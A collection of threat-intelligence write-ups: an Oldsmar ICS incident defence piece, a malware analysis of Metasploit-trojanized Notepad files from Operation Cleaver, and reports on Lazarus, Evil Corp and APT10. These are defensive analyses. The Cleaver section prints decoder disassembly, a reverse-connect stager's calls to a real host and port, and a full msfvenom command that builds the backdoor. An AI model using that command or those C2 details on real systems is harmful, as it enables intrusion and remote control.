Overall, these four examples of high-profile, technically complex ICS attack scenarios emphasize a critical barrier to adversary success: the ability to evade, influence, or outright deny operator visibility into and control over ICS environments. In all four examples, the attacks required some mechanism to hide from operators or deny their ability to correct or mitigate changes made to operating parameters.
In the case of the Oldsmar treatment plant incident, the intruder failed to attempt any such action based on information currently available. Had the unknown entity spoofed or otherwise interfered with HMI display parameters or sensor data, the operator on duty would be less likely to notice the incident as it took place, resulting in an attack moving on to engineering and process controls for potential mitigation or detection. Not only did the intruder fail to limit or manipulate process view in the environment, they executed the event during primary working hours on a weekday, almost ensuring that such activity would be quickly noticed (and mitigated).
Based on these observations and in light of past ICS incidents, we can therefore make a reasonably confident claim with available evidence that this was not an especially complex or savvy “attack.” As described in multiple sources, the intruder appears to have merely taken advantage of weakly secured, accessible remote access mechanisms to connect to plant equipment controls, followed by either deliberate or potentially inadvertent manipulation of the environment. That such an attempt occurred at all is certainly concerning, but the overwhelming evidence given event timing and execution indicate that there were only slight possibilities for this event to produce significant damage or harm.
## Defensive Countermeasures and Attack Surface Reduction
While this particular incident did not result in any damage or even notable operational disruption, events at the Oldsmar water treatment facility highlight the real risks and dangers associated with remote access to critical infrastructure systems. While the knee-jerk answer to such issues would be to remove or curtail access to such systems as much as possible, this is unrealistic and inactionable in modern operational environments. For reasons ranging from centralized control over geographically distant control systems to vendor requirements to system access for telemetry and maintenance purposes to the limitations placed on personnel by COVID-19 restrictions, remote accessibility cannot simply be removed or shut off. However, the ways in which such connectivity are implemented can ensure that such operations are done in a securable, defensible fashion.
First and foremost, while precise details on the system in question are not available, available evidence indicates that if the HMI controlling sodium hydroxide levels was not directly accessible via the TeamViewer instance at the facility, then access to such a system was easily gained from that initial access point. While such direct access may be convenient, it is insecure and undesirable. Instead, having a purpose-built bastion or “jumphost” can provide a single, hardened point for remote access and monitoring. By using different sets of credentials for the bastion host to internal network and system authentication, security can be increased further as password brute forcing or credential capture for the bastion will not enable immediate follow-on access to other systems in the network.
Network segmentation, access controls, and sound network engineering can work in concert to reduce the overall attack surface to a limited number of defensible nodes (such as the bastion), while also facilitating monitoring of activity to a smaller set of devices. When applied with even more robust security controls, such as the implementation of robust Multi-Factor Authentication (MFA) schema for remote login activity, exposed attack surface can be reduced even further.
While certain controls such as complex passwords or hardware token MFA may be undesirable in certain ICS environments due to operational overhead and similar considerations, applying such defensive measures and similar controls to external facing network access points is critical. The profusion of scanning and indexing tools for remotely accessible services combined with the ability of adversaries to either brute force or potentially capture user credentials mean these accessible systems must be hardened.
## Remote Access Monitoring and Indicator Enrichment
Once networks are appropriately hardened and segmented, network operators and defenders can then proceed to Network Security Monitoring (NSM) and traffic analysis. In well-designed environments with only a few externally-communicating or -accessible bastions, NSM operations are simplified and manageable, allowing for potentially powerful security analysis and response.
With proper monitoring, defenders can begin asking a number of questions or formulating hunting hypotheses relative to their network posture. Particularly, operators can utilize near real-time enrichment of network observables such as IP addresses and domain names to build an intelligence picture of traffic flows and communications.
At the most basic level, this may constitute little more than geographic enrichment of IP addresses to identify odd or anomalous connections. This methodology can certainly produce errors—such as the case of an Illinois water pump station where a worker on vacation remotely accessed a device prompting calls of Russian critical infrastructure hacking. Typically, observing remote authentication attempts from non-local address space for a municipal utility network can form a good starting point for follow-on investigation.
In more advanced use-cases, enrichment of external infrastructure using third-party intelligence sources can enable complex, higher-confidence queries for suspicious or known malicious activity. Examples would include being able to correlate source infrastructure for connection attempts to anonymizing infrastructure such as TOR, or identifying connections from Internet Service Providers (ISPs) or Autonomous System Numbers (ASNs) either highly correlated with known-malicious activity, or never previously associated with any known-good, legitimate operation.
As documented in previous items from DomainTools researchers, identifying indicators in general, and network indicators in particular, as composite objects yields a number of possibilities for enrichment and analysis. In this particular case, defenders and network operators can leverage enrichment of network data to identify suspicious remote access activity or other signs of initial intrusion, potentially enabling operator response and mitigation actions before such intrusions proceed to the manipulation of controls in a critical infrastructure environment. From the opposite view, and as previously documented in the context of the SUNBURST campaign, near real-time enrichment of outbound traffic can potentially identify stealthy, otherwise difficult to detect intrusion scenarios by flagging items related to Command and Control (C2) activity.
## Conclusion
The Oldsmar water treatment plant intrusion raises many concerns: first, that such an intrusion even happened in the first place indicates a certain maliciousness or lack of caution by the entity in question; second, while this specific instance appears relatively simplistic and immature, the same initial access vectors used in this event could be leveraged by more operationally savvy entities to produce a disruptive or dangerous impact.
Yet while the incident is concerning, network operators and defenders have many options available to fight back against such events. Through a combination of network hardening, attack surface reduction, network segmentation, and NSM with indicator enrichment, defenders can dramatically reduce the likelihood of such events, significantly reduce their efficacy, or increase the likelihood of identifying such activity at relatively early stages.
Of course, for many smaller organizations, such as municipal water treatment entities, some of the security suggestions offered above may remain out of reach for budgetary or technical reasons. While a “100% solution” may not be feasible for such entities, certain preliminary steps such as attack surface analysis and reduction remain within reach. Irrespective of maturity and capability, given that various entities are actively probing and attempting to interact with connected critical infrastructure systems, all organizations responsible for operating such equipment must take all available steps within reason to secure these networks as best as possible.
Overall, and as documented by various entities, malicious activity against critical infrastructure networks in general and ICS networks in particular appear to be increasing. Through a combination of proactive defensive hardening and enhanced visibility or network monitoring, asset owners, operators, and defenders can better position themselves against such intrusions. Failure to apply these lessons now means potential adversaries at varying levels of complexity and capability will continue to find vital networks unprepared for future intrusion scenarios. |
# Operation Cleaver: The Notepad Files
You see some strange stuff out there on the networks where attackers are active. Certainly, the stash of files unearthed during the Operation Cleaver investigation included much of the bizarre and something of the terrible. Brian Wallace, who led the investigation, shared a mysterious set of samples with me awhile back, and now that Operation Cleaver is public, I'll relate the lurid technical details.
## The Notepad Files
The files in question were found in a dim and dusty directory on a forlorn FTP server in the US, commingled with the detritus of past attack campaigns and successful compromises. They were at once familiar and strange, and they were made still stranger and more perplexing by their location and the circumstances of their discovery. All around them was a clutter of credential dumps, hacking utilities, RATs, and even legitimate software installers, but the files in question were none of these. They were Notepad.
Of course, a purloined Notepad icon in malware is nothing new, but something different was going on here. Within each of the two families, all of the samples had the same main icon, file size, and version information, yet each one had a distinct hash. At the time, only one of those five hashes existed on the internet: the official 32-bit Simplified Chinese Notepad from Windows XP x64 / Windows Server 2003. Suspecting that the remaining Notepads were derivatives of official Windows files, we associated the other member of the first family with the confirmed legitimate Notepad, and we matched the second family with the 32-bit US English Notepad from Windows 7 (not present in the original set).
| MD5 | File Name | File Size | File Version |
| --- | --- | --- | --- |
| 83868cdff62829fe3b897e2720204679 | notepad.exe | 66,048 | 5.2.3790.3959, Chinese (Simplified, PRC) |
| bfc59f1f442686af73704eff6c0226f0 | NOTEPAD2.EXE | 179,712 | 6.1.7600.16385, English (United States) |
| e8ea10d5cde2e8661e9512fb684c4c98 | Notepad3.exe | 179,712 | 6.1.7600.16385, English (United States) |
| baa76a571329cdc4d7e98c398d80450c | Notepad4.exe | 66,048 | 5.2.3790.3959, Chinese (Simplified, PRC) |
| 19d9b37d3acf3468887a4d41bf70e9aa | notepad10.exe | 179,712 | 6.1.7600.16385, English (United States) |
| d378bffb70923139d6a4f546864aa61c | -- | 179,712 | 6.1.7600.16385, English (United States) |
Things got interesting when we started comparing the Notepads at the byte level. The image below depicts some byte differences between the original Windows 7 Notepad and samples NOTEPAD2.EXE and Notepad3.exe:
At the Portable Executable (PE) level, these differences translate to changes in the files' timestamps, the relative virtual addresses (RVAs) of their entry points, and their checksums. The timestamps were rolled back by weeks to months relative to the legitimate progenitors' timestamps; we don't know why. The entry points retreated or advanced by hundreds of bytes to dozens of kilobytes, for reasons we'll explore shortly. And the checksums were all zeroed out, presumably because the file modifications invalidate them, invalid non-zero checksums are a tip-off, and zeroing is easier than recomputing.
So what's the story with all those other modifications? In all cases, they seem to be confined to the ".text" section, centrally located to avoid the import directory, debug directory, load configuration directory, and import address table. This makes sense as a general precaution, considering that corrupting the import directory would unhelpfully crash the Windows loader during process initialization.
While the arrangement of the structures varies among families, it's clear that the region between structures containing the original entry point has in each case been filled with modifications. Notably, each sample has a short run of consecutive modifications immediately following the new entry point, and then a longer run elsewhere in the region. Presumably, both runs are injected malicious code, and the other modifications may well be random noise intended as a distraction. Since there are no other changes and no appended data, it's reasonable to assume that the code that makes a Notepad act like Notepad is simply gone, and that the samples will behave only maliciously. If true, then these modifications would represent a backdooring or "Trojanization" rather than a parasitic infection, and this distinction implies certain things about how the Notepads were made and how they might be used.
## Tales from the Code
Let's take a look at the entry point code of the malicious Notepads and see if it aligns with our observations. The short answer is, it looks like nonsense. Here's a snippet from Notepad4.exe:
```
010067E3 sbb eax, 2C7AE239
010067E8 test al, 80
010067EA test eax, 498DBAD5
010067F0 jle short 01006831
010067F2 sub eax, B69F4A73
010067F7 or edx, esi
010067F9 jnz short 01006800
010067FB inc ebx
010067FC mov cl, 91
010067FE cwde
010067FF jnp short 01006803
```
At this point, the code becomes difficult to list due to instruction scission, or branching into the middle of an instruction. The outcome of these instructions depends on the initial state of the registers, which is technically undefined. Seeing code operate on undefined values typically suggests that the bytes aren't code after all and so shouldn't have been disassembled.
Notice that there are no memory accesses, no stack pointer manipulation, no division instructions, no invalid or privileged instructions, no interrupts or indirect branches--really, no uncontrolled execution transfers of any kind. Even more tellingly, all the possible execution paths seem to eventually flow to this code:
```
01006877 mov ch, 15
01006879 cmp eax, 4941B62F
0100687E xchg eax, ebx
0100687F mov cl, 4B
01006881 stc
01006882 wait
01006883 xchg eax, ecx
01006884 inc ebx
01006885 cld
01006886 db 67
01006887 aaa
01006888 cwde
01006889 sub eax, 24401D66
0100688E dec eax
0100688F add al, F8
01006891 jmp 01005747
```
The code seems to abruptly change character after the jump at 01006891, transitioning from gibberish to a string of short sequences connected by unconditional branches. This transition corresponds to a jump from the end of the short run of modifications to the beginning of the longer run of modifications.
In the disassembly above, the first sequence of green lines is a clear CALL-POP pair intended to obtain a code address in a position-independent way. No way is this construct a coincidence. Furthermore, the blue lines strongly resemble the setup for a VirtualAlloc call typical of a deobfuscation stub, and the second set of green lines invoke the CALL-POPped function pointer with what one might readily assume is a hash of the string "VirtualAlloc".
There's plenty more to observe in the disassembly, but let's fast-forward past it.
```
windbg -c "bp kernel32!VirtualAlloc ; g" Notepad4.exe...
```
And now we can dump the extracted code from memory. It isn't immediately gratifying:
```
00100000 fabs
00100002 mov edx, 4DF05534 ; = initial XOR key
00100007 fnstenv [esp-0C] ; old trick to get EIP
0010000B pop eax
0010000C sub ecx, ecx
0010000E mov cl, 64 ; = length in DWORDs
00100010 xor [eax+19], edx
00100013 add edx, [eax+19] ; XOR key is modified after each DWORD
00100016 add eax, 4
00100019 db D6
```
The byte 0xD6 at address 00100019 doesn't disassemble, and there aren't any branches skipping over it. But check out the instructions just above it referencing "[eax+19]". The code is in a sense self-modifying, flowing right into a portion of itself that it XOR decodes. The first decoded instruction is "LOOP 00100010" (0xD6 ^ 0x34 = 0xE2, the opcode for LOOP), which will execute the XOR loop body 99 more times and then fall through to the newly-decoded code.
When we run this decoding stub to completion, we're rewarded with... another decoding stub:
```
0010001B fcmovu st, st(1) ; a different initial FPU instruction from above
0010001D fnstenv [esp-0C] ; different ordering of independent instructions
00100021 mov ebx, C2208861 ; a different initial XOR key and register
00100026 pop ebp ; a different code pointer register
00100027 xor ecx, ecx ; XOR as an alternative to SUB for zeroing counter
00100029 mov cl, 5D ; a shorter length
0010002B xor [ebp+1A], ebx ; decoding starts at a different offset
0010002E add ebx, [ebp+1A]
00100031 sub ebp, FFFFFFFC ; SUB -4 as an alternative to ADD +4
00100034 loop 000FFFCA ; instruction is partly encoded
```
Here, the first byte to be XORed is the second byte of the LOOP instruction, hence the nonsensical destination apparent in the pre-decoding disassembly above. Run that to completion, and then...
```
00100036 mov edx, 463DC74D
0010003B fcmovnbe st, st(0)
0010003D fnstenv [esp-0C]
00100041 pop eax
00100042 sub ecx, ecx
00100044 mov cl, 57 ; notice the length gets shorter each time
00100046 xor [eax+12], edx
00100049 add eax, 4
0010004C add ebx, ds:[47B3DFC9] ; instruction is partly encoded
```
Finally, at the end of six nested decoders, we see the light:
```
00100087 cld
00100088 call 00100116
0010008D pushad
0010008E mov ebp, esp
00100090 xor edx, edx
00100092 mov edx, fs:[edx+30] ; PTEB->ProcessEnvironmentBlock
00100096 mov edx, [edx+0C] ; PPEB->Ldr
00100099 mov edx, [edx+14] ; PPEB_LDR_DATA->InMemoryOrderModuleList
0010009C mov esi, [edx+28] ; PLDR_MODULE.BaseDllName.Buffer
0010009F movzx ecx, word ptr [edx+26] ; PLDR_MODULE.BaseDllName.MaximumLength
001000A3 xor edi, edi
001000A5 xor eax, eax
001000A7 lodsb
001000A8 cmp al, 61 ; check for lowercase letter
001000AA jl 001000ae
001000AC sub al, 20 ; convert to uppercase
001000AE ror edi, 0D
001000B1 add edi, eax
```
It looks like a call over a typical module or export lookup function. In fact, it is, and as the ROR-ADD pair suggests, it implements module name and export name hashing, the algorithms of which can be expressed as follows:
```c
unsigned int GetModuleNameHash(PLDR_MODULE pLdrModule) {
unsigned int hash = 0;
char * p = (char *) pLdrModule->BaseDllName->Buffer;
for (int n = pLdrModule->BaseDllName->MaximumLength; n != 0; p++, n--) {
char ch = *p;
if (ch >= 'a') ch -= 0x20;
hash = _rotr(hash, 13) + (unsigned char) ch;
}
return hash;
}
unsigned int GetExportNameHash(char *pszName) {
unsigned int hash = 0;
for ( ; ; pszName++) {
hash = _rotr(hash, 13) + (unsigned char) *pszName;
if (*pszName == 0) break;
}
return hash;
}
```
Still, this is all just preamble. What is the point that it eventually gets to? You'd be forgiven for assuming that the tremendous amount of effort poured into obfuscation means there's some treasure beyond all fables at the bottom of this erstwhile Notepad. Sorry. It just downloads and executes a block of raw code. (Spoiler: it's actually a Metasploit reverse connect stager.) Here is its behavior summarized as function calls:
- `kernel32!LoadLibraryA("ws2_32")`
- `ws2_32!WSAStartup(...)`
- `s = ws2_32!WSASocketA(AF_INET, SOCK_STREAM, ...)`
- `ws2_32!connect(s, { sin_family = AF_INET, sin_port = htons(12345), sin_addr = 108.175.152.230 }, 0x10)`
- `ws2_32!recv(s, &cb, 4, 0)`
- `p = kernel32!VirtualAlloc(NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE)`
- `ws2_32!recv(s, p, cb, 0)`
- `p()`
The above is known to be true for Notepad3.exe, Notepad4.exe, and notepad10.exe. NOTEPAD2.EXE doesn't seem to want to run, for reasons we didn't bother to troubleshoot for the bad guys.
## Denouement
Unfortunately, we never did obtain a sample of the code that might have been downloaded. The key to that enigma-embedded, mystery-wrapped riddle is forever lost to us. The best we can do is read what's written in the Notepads and speculate as to why they exist at all.
Clearly whatever generator created these Notepads is far, far beyond the technical understanding of the Cleaver team. It stands to reason that there is a generator--no chance these were crafted by hand--and that its sophistication is even greater than that of its output. Something like that wouldn't be used only once. Something like that, if this team was able to get ahold of it, must be out there. Turn the right corner of the internet, and you can find anything...
Well, it so happens that we did eventually find it. Some of you have no doubt suspected it all along, and now I'll humbly confirm it for you: the Notepads were, in their entirety, generated by Metasploit. Something along the lines of `msfvenom -x notepad.exe -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=108.175.152.230 LPORT=12345 > Notepad4.exe`. The "msfvenom" tool transmogrifies a Metasploit payload into a standalone EXE, and with the "-x" switch, it'll fuse the payload--encoded as desired--into a copy of an existing executable, exhibiting exactly the behavior we just described. Omne ignotum pro magnifico. Perhaps the more bizarre a thing is, the less mysterious it proves to be.
However, we're still left to wonder what Cleaver was up to when they generated all those Notepads. One conclusion Brian proposed is that they're intended as backdoors--replacements for the legitimate Notepad on a compromised system--which would enable Cleaver to regain access to a system at some indeterminate time in the future, the next time a user runs Notepad. The team demonstrated a similarly intentioned tactic with a connect-back shell scheduled to run in a six-minute window each night; the Notepad replacement, while more intrusive, could be another example of this contingency planning tendency.
Or maybe the Notepads were only an aborted experiment, attempted and shelved, forgotten in a flurry of compromises and criminal activity. If nothing else, they made for an unexpected bit of mystery. |
# The Lazarus’ Gaze to the World: What is Behind the First Stone?
Lazarus (aka APT38 / Hidden Cobra / Stardust Chollima) is one of the more prolific threat actors in the APT panorama. Since 2009, the group has leveraged its capability to target and compromise a wide range of targets. Over time, the main targets have been government and defense institutions, organizations operating in the energy and petrochemical sector, in addition to those in the financial and banking sectors.
The group has a wide range of tools at its disposal, including DoS botnets, first stage implanters, remote access tools (RATs), keyloggers, and wipers. This list of malicious tools has supported a series of operations that have ranged from espionage to funding sabotage.
This blog post discusses concerns regarding a recent operation likely carried out by this group, directed towards targets located in different parts of the world. Our analysis started from a single malicious email delivered to an important Italian institution in the banking and financial sector. Starting from this email, we traced back the path of the threat actor to obtain a clear view of the situation. By tracking down malware variants, the actor’s operational logic and mechanisms were put in place to limit the spread of the second-stage payloads.
However, in this intervention, we will describe only the first phase of the kill chain. Here, the threat actor has provided for the release of two types of payloads based on the architecture of the victim’s system, as well as actions used to carry out a first recognition phase. Afterward, some features of the remote script used for managing and controlling victims will be explored. Further information about this campaign is available for our threat intelligence portal customers by referring to the investigation ATR:78456.
## Vector
The threat actor relied on a spoofed email message (coming from e_banking@victim_name_domain_name) to deliver a message with a malicious Microsoft Office Word document attached. One of these retrieved documents refers to an alleged vacant job position for the Hindustan Aeronautics company. The malicious document contains two separate first-stage doubly base64 encoded payloads (one for 32-bit and one for 64-bit systems) in addition to another doubly encoded base64 Word document shown to the user.
Once the macro is executed, the first infection process starts using the AutoOpen Sub. Variables `dllPath` and `docPath` are filled by calling the functions `GetDllName()` and `GetDocName()` to retrieve the paths from where they will be loaded later. For the first stage, it is as follows:
`%USERPROFILE%\AppData\Local\Microsoft\ThumbNail\thumnail.db`
A subsequent `LoadLibraryA` loads the dropped DLL. A variable named “a” is then filled with the results of the so-called `ShowState` function within the content of an active opened document. These instructions result from executing the dropped library.
## First Run and Persistence
The `ShowState` function mainly recovers the current execution path, starts the `SetupWorkStation` function in the same module context, and ensures persistence in the affected system. It is interesting to note how the functions `CoInitialize` and `CoCreateInstance` are used to initialize the COM library and instantiate the COM object.
To understand which object is being instantiated, the first argument to the `CoCreateInstance()` function must be inspected to extract the unique identifier (CLSID) of the COM object. Opening the `HKEY_CLASSES_ROOT\CLSID` key gives the corresponding readable format. On function return, a new shortcut (lnk) is created under the local path resulting from the `GetTempPath` function minus “\Local\Temp\” and plus “\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\thumbnail.lnk“. The content of `thumbnail.lnk` is:
`“C:\Windows\System32\rundll32.exe” “full path of module”, SetupWorkStation S-6-38-4412-76700627-315277-3247 0 0 9109 1`
## Implant Initialization
The `SetupWorkStation` function of the implant is aimed at system reconnaissance and performing beaconing to the command and control center. If the malware does not find the exact number of expected arguments in its command line, it simply quits execution without going further.
Inside this frame of code, a new thread is created with the starting address `100075A0`. `sub_10007340` is designed to initialize external communication. It internally calls `sub_100071F0`, aimed at executing operations for system reconnaissance.
An example of these instructions from dynamically generated pseudo-code includes:
- Retrieving Username and ComputerName
- Retrieving LogicalDrives, DriveTypes
- Retrieving FreeSpace for drives
- Performing Processes Enumeration
The collected information is then compressed and encrypted. A subsequent HTTP request is prepared to send data to command and control. Communications use the HTTP protocol and POST method. Parameters “ned“, “gl”, and “hl” are used to interact with the remote command and control script that handles victims and delivers the second stage payload.
## Behind the First Stone
We had the opportunity to analyze what the actor did in the backend to manage the victims of the first stage implanter described. The remote script, as observed, is copied into legitimate compromised sites. It also includes the possibility to decide if and when the second-level payload is to be released and works through blacklists and whitelists to protect the final backdoor from unwanted spread.
It appears to be a heavily obfuscated VBScript artifact. After retrieving the original instruction set, it has been possible to deeply understand the working logic behind it. The remote script works mainly through `Request.Form` variables filled when receiving beacons from victims and by local variables named as follows:
1. `strworkdir`: The working folder within the compromised wwwroot.
2. `strlogpath`: The path to the file used to log victims’ data (a fake .mp3 file).
3. `strwhitefile`: The path to the file used to store whitelisted victims' IP addresses (a fake .mp3 file).
4. `strblackfile`: The path to the file used to store blacklisted IP addresses (a fake .mp3 file).
Parameters “gl” and “hl” are used to retrieve system info about victims and OS architecture. Based on what we have collected, the log file mapped by the `strlogpath` variable is updated with a new row comprising victim IP address, victim system info, request timestamp, and adopted case in handling the victim.
The cases designed by the threat actor can be four based on interest for the victim:
1. **case_1_64/86**: MD5 of IP address that made the request is on whitelist. The actor has selected the victim to be infected with a second-stage payload. `TorisMa_x64/86` payload is then released to the victim.
2. **case_2_64/86**: MD5 of IP address that made the request is on blacklist. The actor wants to prevent the spreading of the second stage payload to that IP address. `Doris_x64/86` (non-sense chars) payload is then released to the victim.
3. **case_3**: The victim is of particular interest to the threat actor based on retrieved system info (identified with a value of 24 of “ned“). Second stage payload is not yet delivered.
4. **case_4**: The victim is of no particular interest to the threat actor. No previous condition has been met. Second stage payload is not yet delivered.
## Victimology
According to the visibility obtained so far, we assess with a high degree of confidence that this campaign is mainly directed against research/defense sector and financial/payments institutions. Other types of sectors are not to be excluded based on actor interests. Most of the malicious activities associated with the examined malware set are limited to the Indian region. However, organizations from other countries are also within Lazarus’ interests.
## Conclusions
In this case, the Lazarus group targets research/defense and financial organizations mainly in the same region where the security community has recently attributed an attack from the same group against a nuclear power plant. However, it has also been noted that the actor has extended its interests to other regions of the world, including Italy. Furthermore, we have observed an info-gathering implanter used to quickly identify interesting targets and exposed the use of a backend script designed to handle the victims and limit the spread of second-stage payloads only to wanted ones.
## MITRE ATT&CK Techniques
- T1193 – Actor relies on spear-phishing as infection vector
- T1002 – Actor compresses and encrypts data
- T1132 – Actor encodes data
- T1023 – Actor relies on shortcuts to achieve persistence
- T1060 – Malware maintains persistence through Start menu folder
- T1071 – Actor relies on standard application layer protocol for C2 communications
- T1043 – Actor uses common ports to communicate
## Indicators of Compromise
- SHA256: b018639e9a5f3b2b9c257b83ee51a3f77bbec1a984db13d1c00e0CC77704abb4
- SHA256: adf86d77eb4064c52a3e4fb3f1c3218ee2b7de2b1780b81c612886d72aa9c923
- SHA256: 1a172d92638e6fdb2858dcca7a78d4b03c424b7f14be75c2fd479f59049bc5f9
- SHA256: ec254c40abff00b104a949f07b7b64235fc395ecb9311eb4020c1c4da0e6b5c4
- SHA256: 26a2fa7b45a455c311fd57875d8231c853ea4399be7b9344f2136030b2edc4aa
- Domain name (compromised): curiofirenze.com
- IP Address: 193.70.64.163
- File: `%USERPROFILE%\AppData\Local\Microsoft\ThumbNail\thumnail.db`
- File: `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\thumbnail.lnk`
## Artifacts Detection Rules
YARA detection rule for unpacked DLL implant is available. Third-party freely available rules for detecting executables that have been encoded with base64 twice are available. |
# Sanctions Be Damned: From Dridex to Macaw, The Evolution of Evil Corp
**By Antonio Pirozzi, Antonis Terefos, and Idan Weizman**
## Executive Summary
Since OFAC sanctions in 2020, the global intelligence community has been split into different camps regarding how Evil Corp is operating. SentinelLabs assesses with high confidence that WastedLocker, Hades, Phoenix Locker, and PayloadBIN belong to the same cluster, with strong overlaps in code similarities, packers, TTPs, and configurations. The Macaw ransomware variant is derived from the same codebase as Hades. Our analysis indicates that Evil Corp became a customer of the CryptOne packer-as-a-service from March 2020, leading to the identification of different versions of this cryptor that have never been reported.
## Introduction
Evil Corp (EC) is an advanced cybercrime operations cluster originating from Russia that has been active since 2007. The UK National Crime Agency called it “the world’s most harmful cyber crime group.” In December 2019, the U.S. Treasury Department’s Office of Foreign Assets Control (OFAC) issued sanctions against 17 individuals and seven entities related to EC cyber operations for causing financial losses of more than 100 million dollars with Dridex. After the indictments, the global intelligence community was divided on Evil Corp's operations. Some believed there was a voluntary transition to another ‘trusted’ partner, while others theorized that Evil Corp had ceased operations, with another actor mimicking their modus operandi to mislead attribution.
SentinelLabs has conducted an in-depth review and technical analysis of Evil Corp activity, malware, and TTPs. Our research argues that the original operators continue to be active despite the sanctions, continuously changing their TTPs to stay under the radar. This post summarizes key observations from our technical analysis on the evolution of Evil Corp from Dridex to Macaw Locker and describes CryptOne's role in Evil Corp malware development.
## Overview of Recent Evil Corp Activity
After the OFAC indictment, Evil Corp changed its TTPs: from 2020, they frequently altered their payload signatures, using different exploitation tools and methods of initial access. They switched from Dridex to the SocGholish framework to confuse attribution and distance themselves from both Dridex and Bitpaymer. During this period, they relied more heavily on Cobalt Strike for initial foothold and lateral movement.
In May 2020, a new ransomware variant, WastedLocker, appeared, employing techniques to obfuscate its code and perform tasks similar to those seen in BitPaymer and Dridex. In December 2020, Hades was first seen in the wild, a 64-bit compiled version of WastedLocker with important code and functionality overlaps. In March 2021, Phoenix Locker appeared, a rebranded version of Hades, followed by PayloadBIN, a continuation from Phoenix Locker.
## A Unique Cluster: BitPaymer, WastedLocker, Hades, Phoenix Locker, PayloadBIN
Our analysis discovered evidence of code overlaps, shared configurations, packers, and TTPs, leading us to assess with high confidence that BitPaymer, WastedLocker, Hades, Phoenix Locker, and PayloadBIN share a common codebase.
### From BitPaymer to WastedLocker
Previous research shows knowledge reuse between BitPaymer and WastedLocker. SentinelLabs analysis indicates that Hades and WastedLocker share the same codebase, with identical RSA functions responsible for encrypting keys used in the AES phase.
### From WastedLocker to Hades
Hades and WastedLocker share the same codebase, with identical file and directory enumeration logic.
### From Hades to Phoenix Locker
Phoenix Locker was a reused and newly-packed Hades payload, with both samples compiled simultaneously and reusing a ‘clean’ Hades version.
### From Phoenix Locker to PayloadBIN
The majority of PayloadBIN functions overlap with Phoenix Locker, with practically identical file enumerating functions.
## Analysis of the Cypherpunk Variant
A new variant dubbed “Cypherpunk” was linked to the same lineage. Code similarity analysis shows that the Cypherpunk version is the same as the previous PayloadBIN variant, indicating Evil Corp is still updating their tradecraft to stay under the radar.
## Evil Corp Pivots to Macaw Locker Ransomware
In October 2021, a new ransomware variant named ‘Macaw Locker’ appeared, attacking Olympus and Sinclair Broadcast Group. Macaw presents anti-analysis features and requires a custom token for execution, similar to techniques used in Egregor and BlackCat ransomware families.
## CryptOne: One Packer To Rule Them All
CryptOne, used by Evil Corp until mid-2021, has been linked to various malware families. It features sandbox evasion, anti-emulation, and code-flow obfuscation. We created a static unpacker, de-CryptOne, which unpacks both x86 and x64 samples.
CryptOne unpacking consists of two stages: decrypting and executing embedded shellcode, followed by decrypting and executing embedded executables.
## Conclusion
Clustering Evil Corp activity is challenging due to the group's changes in TTPs to bypass sanctions. Our research connects the dots in the Evil Corp ecosystem, clustering their malware and documenting their activities. SentinelLabs assesses with high confidence that WastedLocker, Hades, Phoenix Locker, Macaw Locker, and PayloadBIN belong to the same cluster, indicating a consistent modus operandi. We expect Evil Corp to continue evolving and targeting organizations while advancing their tradecraft to evade detection. |
# Uncovering New Activity By APT10
**FortiGuard Labs Threat Analysis Report**: This blog originally appeared on the enSilo website and is republished here for threat research purposes. enSilo was acquired by Fortinet in October 2019.
## Summary
In April 2019, we detected what we believe to be new activity by the Chinese cyber espionage group APT10. The discovered variants are previously unknown and deploy malware that is unique to the threat actor. These malware families have a rich history of being used in numerous targeted attacks against government and private organizations. The activity surfaced in Southeast Asia, a region where APT10 frequently operates.
## Overview
Towards the end of April 2019, we tracked down what we believe to be new activity by APT10, a Chinese cyber espionage group. Both of the loader’s variants, as well as the various payloads that we analyzed, share similar Tactics, Techniques, and Procedures (TTPs) and code associated with APT10. Although they deliver different payloads to a victim's machine, both variants drop the following files beforehand:
- **jjs.exe** - legitimate executable
- **jli.dll** - malicious DLL
- **msvcrt100.dll** - legitimate Microsoft C Runtime DLL
- **svchost.bin** - binary file
jjs.exe is a JVM-based implementation of a JavaScript engine developed by Oracle, but in this case, it served as a loader for the malware. Among the payloads we found were PlugX and Quasar RATs. The former is well known to be developed in-house by the group with a rich history of being used in many targeted attacks against different government and private organizations. PlugX is a modular structured malware that has many different operational plugins, such as communication compression and encryption, network enumeration, files interaction, remote shell operations, and more. The samples we analyzed originated from the Philippines. APT10 frequently targets the Southeast Asia region.
In this article, we examine both versions of the loader along with their payloads, TTPs, and Command and Control (C&C) server information.
## Loader
### Abusing a Legitimate Executable
The loader starts out by running a legitimate executable, which is abused to load a malicious DLL instead of a legitimate one on which it depends. The method is known as DLL Side-Loading. In both variants, the abused executable is jjs.exe, which loads jli.dll. The DLL exports the following functions:
- JLI_CmdToArgs
- JLI_GetStdArgs
- JLI_GetStdArgc
- JLI_MemAlloc
- JLI_Launch
The first function called by jjs.exe is JLI_CmdToArgs, which is implemented by the malware author and behaves differently in each variant.
### Running The Payload
The malicious DLL maps the data file, svchost.bin, to memory and decrypts it. The decrypted content is a shellcode that is injected into svchost.exe and contains the actual malicious payload. The decryption process resembles previous versions used by the group in PlugX/RedLeaves.
The injection flow is rather simple and is done by creating a process in a suspended state, allocating memory with VirtualAllocEx, writing the shellcode with WriteProcessMemory, and running it using CreateRemoteThread.
### Variant 1
The first variant uses a service as its persistence method. It installs itself (jjs.exe) as the service and starts. When running in the context of the service, it performs the decryption and injection described above. We have observed the variant delivering both Quasar and PlugX, which we’ll discuss later on. Among the different samples we tested, we encountered the following service names being registered:
- WxUpdateServiceInfo
- HxUpdateServiceInfo
- WinDefendSec
- Web_Client
- clr_optimization_v4.0.30319_31
- clr_optimization_v4.0.30319_37
### Variant 2
Unlike the first variant, this variant uses the Run registry key for the current user under the name “Windows Updata” to ensure its persistence, rather than installing a service. This variant delivered the same PlugX DLL as the first loader.
## Payloads
### Modified Quasar RAT
The injected shellcode reflective loads in-memory an executable it reconstructs from data that it is bundled with. The reflective load code is obfuscated, as function calls are made by dynamically resolving their addresses according to hashed values. The executable tries to run conhost.exe from C:\Users\Public\Documents, and in case it doesn’t exist, it turns to ffca[.]caibi379[.]com to download it. The code that sends the HTTP request seems to be buggy. While wininet!InternetOpenW (the Unicode version of the function) is used, an ASCII value is provided as the User-Agent, so instead of “RookIE/1.0”, the request headers will include inconsistent and meaningless values.
